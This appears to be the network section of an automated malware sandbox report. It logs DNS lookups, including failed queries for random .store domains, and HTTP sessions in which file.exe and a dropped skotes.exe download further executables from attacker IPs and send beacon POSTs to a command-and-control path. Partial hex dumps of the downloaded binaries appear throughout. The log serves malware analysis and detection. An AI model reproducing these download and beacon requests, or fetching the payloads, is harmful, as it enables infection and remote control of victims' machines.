Oct 30, 2024 00:22:01.649612904 CET	1.1.1.1	192.168.2.5	0x3d74	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:01.665443897 CET	1.1.1.1	192.168.2.5	0xb7e0	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 00:22:01.665443897 CET	1.1.1.1	192.168.2.5	0xb7e0	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:01.666553974 CET	1.1.1.1	192.168.2.5	0x45f1	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 00:22:01.666553974 CET	1.1.1.1	192.168.2.5	0x45f1	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:01.708532095 CET	1.1.1.1	192.168.2.5	0xa8c3	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:01.793843031 CET	1.1.1.1	192.168.2.5	0x872b	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:01.793853998 CET	1.1.1.1	192.168.2.5	0x2b31	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:01.867928028 CET	1.1.1.1	192.168.2.5	0x1689	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:02.375463963 CET	1.1.1.1	192.168.2.5	0x4810	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:02.874831915 CET	1.1.1.1	192.168.2.5	0x6867	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:03.075630903 CET	1.1.1.1	192.168.2.5	0x815	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:03.093941927 CET	1.1.1.1	192.168.2.5	0xe112	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:03.111200094 CET	1.1.1.1	192.168.2.5	0x33b2	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:03.697185040 CET	1.1.1.1	192.168.2.5	0x5ba2	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 00:22:03.697185040 CET	1.1.1.1	192.168.2.5	0x5ba2	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 00:22:03.697185040 CET	1.1.1.1	192.168.2.5	0x5ba2	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:03.718239069 CET	1.1.1.1	192.168.2.5	0x2de5	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.412539005 CET	1.1.1.1	192.168.2.5	0xac69	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 00:22:05.412539005 CET	1.1.1.1	192.168.2.5	0xac69	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.412611961 CET	1.1.1.1	192.168.2.5	0xc000	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 00:22:05.412611961 CET	1.1.1.1	192.168.2.5	0xc000	No error (0)	star-mini.c10r.facebook.com		157.240.0.35	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.412714005 CET	1.1.1.1	192.168.2.5	0x7210	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 00:22:05.412714005 CET	1.1.1.1	192.168.2.5	0x7210	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.412714005 CET	1.1.1.1	192.168.2.5	0x7210	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.412714005 CET	1.1.1.1	192.168.2.5	0x7210	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.412714005 CET	1.1.1.1	192.168.2.5	0x7210	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.412714005 CET	1.1.1.1	192.168.2.5	0x7210	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.412714005 CET	1.1.1.1	192.168.2.5	0x7210	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.412714005 CET	1.1.1.1	192.168.2.5	0x7210	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.412714005 CET	1.1.1.1	192.168.2.5	0x7210	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.412714005 CET	1.1.1.1	192.168.2.5	0x7210	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.412714005 CET	1.1.1.1	192.168.2.5	0x7210	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.412714005 CET	1.1.1.1	192.168.2.5	0x7210	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.412714005 CET	1.1.1.1	192.168.2.5	0x7210	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.412714005 CET	1.1.1.1	192.168.2.5	0x7210	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.412714005 CET	1.1.1.1	192.168.2.5	0x7210	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.412714005 CET	1.1.1.1	192.168.2.5	0x7210	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.412714005 CET	1.1.1.1	192.168.2.5	0x7210	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.421885014 CET	1.1.1.1	192.168.2.5	0x9994	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.422651052 CET	1.1.1.1	192.168.2.5	0x5202	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.422651052 CET	1.1.1.1	192.168.2.5	0x5202	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.422651052 CET	1.1.1.1	192.168.2.5	0x5202	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.422651052 CET	1.1.1.1	192.168.2.5	0x5202	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.422651052 CET	1.1.1.1	192.168.2.5	0x5202	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.422651052 CET	1.1.1.1	192.168.2.5	0x5202	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.422651052 CET	1.1.1.1	192.168.2.5	0x5202	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.422651052 CET	1.1.1.1	192.168.2.5	0x5202	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.422651052 CET	1.1.1.1	192.168.2.5	0x5202	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.422651052 CET	1.1.1.1	192.168.2.5	0x5202	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.422651052 CET	1.1.1.1	192.168.2.5	0x5202	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.422651052 CET	1.1.1.1	192.168.2.5	0x5202	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.422651052 CET	1.1.1.1	192.168.2.5	0x5202	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.422651052 CET	1.1.1.1	192.168.2.5	0x5202	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.422651052 CET	1.1.1.1	192.168.2.5	0x5202	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.422651052 CET	1.1.1.1	192.168.2.5	0x5202	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.424042940 CET	1.1.1.1	192.168.2.5	0x9808	No error (0)	star-mini.c10r.facebook.com		157.240.252.35	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.431885958 CET	1.1.1.1	192.168.2.5	0xe480	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Oct 30, 2024 00:22:05.431936979 CET	1.1.1.1	192.168.2.5	0x844a	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 30, 2024 00:22:05.431936979 CET	1.1.1.1	192.168.2.5	0x844a	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 30, 2024 00:22:05.431936979 CET	1.1.1.1	192.168.2.5	0x844a	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 30, 2024 00:22:05.431936979 CET	1.1.1.1	192.168.2.5	0x844a	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 30, 2024 00:22:05.434323072 CET	1.1.1.1	192.168.2.5	0xa310	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Oct 30, 2024 00:22:05.440859079 CET	1.1.1.1	192.168.2.5	0x4d64	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 00:22:05.440859079 CET	1.1.1.1	192.168.2.5	0x4d64	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.440859079 CET	1.1.1.1	192.168.2.5	0x4d64	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.440859079 CET	1.1.1.1	192.168.2.5	0x4d64	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.440859079 CET	1.1.1.1	192.168.2.5	0x4d64	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.442003965 CET	1.1.1.1	192.168.2.5	0x4b72	No error (0)	twitter.com		104.244.42.65	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.450365067 CET	1.1.1.1	192.168.2.5	0xb62c	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.450365067 CET	1.1.1.1	192.168.2.5	0xb62c	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.450365067 CET	1.1.1.1	192.168.2.5	0xb62c	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.450365067 CET	1.1.1.1	192.168.2.5	0xb62c	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.451381922 CET	1.1.1.1	192.168.2.5	0xa5ea	No error (0)	twitter.com		104.244.42.65	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49712	185.215.113.16	80	5044	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:20:14.709216118 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 00:20:15.630189896 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 23:20:15 GMT Content-Type: application/octet-stream Content-Length: 2790400 Last-Modified: Tue, 29 Oct 2024 22:11:55 GMT Connection: keep-alive ETag: "67215dab-2a9400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 f7 3e 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ @+>+`Ui` @ @.rsrc`2@.idata 8@kzqschdp@4:@ptbfmmvg n@.taggant@+"r*@
Oct 30, 2024 00:20:15.630270958 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 00:20:15.630287886 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 00:20:15.630393982 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 00:20:15.630409002 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 00:20:15.630424023 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 00:20:15.630440950 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 00:20:15.630489111 CET	1236	IN	Data Raw: 57 17 5d aa 3e fa 5b f1 b5 cb 5d 69 c5 99 b9 1b 52 ae bf 0b 15 d4 b1 4b 02 09 90 e8 6b b4 20 f6 1d 83 0a 87 68 92 df ca 4d 4a 99 21 99 d0 4b eb e4 08 7c 1b 21 05 51 5f b3 d2 56 5d e3 00 15 f5 d8 1d 6c ab 3e fe 67 c3 12 39 7d 61 c1 3b 57 7a f0 62 Data Ascii: W]>[]iRKk hMJ!K\|!Q_V]l>g9}a;WzbgY5URmn1GOl&_j9YSO+~7%3c=t^Q99f6m$o:]vXU;ZCEf8=f%@Jr[f1cVc
Oct 30, 2024 00:20:15.630502939 CET	1236	IN	Data Raw: 62 16 76 c1 7a 16 7a 05 52 6b fe 20 bc 23 70 98 f4 2b 6c 1d 47 d4 91 08 05 7e 9a b1 da c3 69 aa f4 2b aa 0b 57 e3 ad a4 49 14 e8 28 da 16 b6 ab f4 f7 75 d9 46 bf c5 17 09 ba cc dd f2 23 d2 ff 44 22 0a 7d bb 97 61 33 da 83 82 aa 34 32 ea 78 2c 5b Data Ascii: bvzzRk #p+lG~i+WI(uF#D"}a342x,[d$j};t?)Ox-\9t~]A+.1o2V9]:wB/Jt;j9+]&]%,Z!-{K,fW+N}jOiS]6/i
Oct 30, 2024 00:20:15.630518913 CET	1236	IN	Data Raw: 19 3d 6d b0 40 db 75 f4 25 de 25 ab ad 5f 5f 96 a7 14 74 d9 ea 06 9a 50 be f1 9e c8 07 7b c9 47 10 1e a0 da a8 9a 94 e6 63 f0 48 f4 d4 35 a9 40 24 03 ca bb ba e4 e4 c4 e4 13 d0 c4 13 f4 c5 7c 2c 06 c2 18 e7 f0 b9 b2 a9 4d 0a aa 32 a6 8d 75 75 61 Data Ascii: =m@u%%__tP{GcH5@$\|,M2uua7j"HBr `XZ&>>0PQ~%J-aO- 2x$^v{uUFkJafd:wsJZ8~&a0dp\XK)'r
Oct 30, 2024 00:20:15.637902021 CET	1120	IN	Data Raw: b2 be 3c 4d cc 2f 4f fd c8 bb 59 e6 8f 0f 94 0a b9 06 60 6a b8 2f b6 f9 c3 2d 42 d1 b9 fe 3a 1a b9 ff b7 af f3 32 04 34 45 7a 4b e0 17 44 71 98 f1 59 ce a6 19 e5 7d e9 f4 15 64 b6 12 f2 c1 af c2 f8 bb a4 08 f4 b4 58 74 36 5b 3a 84 e0 be 64 14 7b Data Ascii: <M/OY`j/-B:24EzKDqY}dXt6[:d{@Y"`_93+W_9P#v< ^PhO N~!rS#PRxCA]}a6e+C_r\|wuC9D3'78~2Xr
Oct 30, 2024 00:20:18.727855921 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 00:20:19.013097048 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 23:20:18 GMT Content-Type: application/octet-stream Content-Length: 1887744 Last-Modified: Tue, 29 Oct 2024 23:05:06 GMT Connection: keep-alive ETag: "67216a22-1cce00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 a0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@Jbs@Wk0JJ @.rsrc@.idata @ *@vcnwvfjn0@ailsjwpvJ@.taggant0J"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	59753	185.215.113.43	80	6184	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:21:04.804960966 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 00:21:05.736449003 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 23:21:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	59765	185.215.113.43	80	6184	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:21:07.269690037 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 30, 2024 00:21:08.187107086 CET	642	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 23:21:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 33 0d 0a 20 3c 63 3e 31 30 30 32 34 37 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 66 38 37 61 38 31 35 32 34 35 62 31 35 64 61 61 34 39 35 63 34 39 23 31 30 30 32 34 38 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 32 34 38 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 32 34 38 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 [TRUNCATED] Data Ascii: 1c3 <c>1002474001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbf87a815245b15daa495c49#1002487001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1002488001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1002489001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1002490001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	59771	31.41.244.11	80	6184	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:21:08.196528912 CET	55	OUT	GET /files/Session.exe HTTP/1.1 Host: 31.41.244.11
Oct 30, 2024 00:21:09.074585915 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 23:21:08 GMT Content-Type: application/octet-stream Content-Length: 21504 Last-Modified: Tue, 29 Oct 2024 21:00:24 GMT Connection: keep-alive ETag: "67214ce8-5400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 11 df 94 a7 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 4a 00 00 00 08 00 00 00 00 00 00 9a 68 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 46 68 00 00 4f 00 00 00 00 80 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 b4 67 00 00 38 00 00 00 00 00 00 